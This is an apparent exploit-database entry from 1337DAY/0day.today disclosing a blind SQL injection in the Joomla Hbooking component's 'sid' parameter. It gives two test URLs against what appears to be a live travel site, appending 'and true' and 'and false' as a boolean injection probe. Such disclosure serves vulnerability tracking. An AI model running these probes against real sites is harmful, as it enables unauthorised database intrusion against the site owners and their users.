Joomla Component Hbooking <= (sid) Blind SQL injection Vulnerability

2013-03-19T00:00:00
ID 1337DAY-ID-20530
Type zdt
Reporter ByEge
Modified 2013-03-19T00:00:00

Description

Joomla Component Hbooking <= (sid) Blind SQL injection Vulnerability

                                        
                                            test  http://www.ablejourneys.com/index.php?option=com_hbooking&view=room&layout=services&sid=21 and true

http://www.ablejourneys.com/index.php?option=com_hbooking&view=room&layout=services&sid=21 and false

#  0day.today [2018-01-10]  #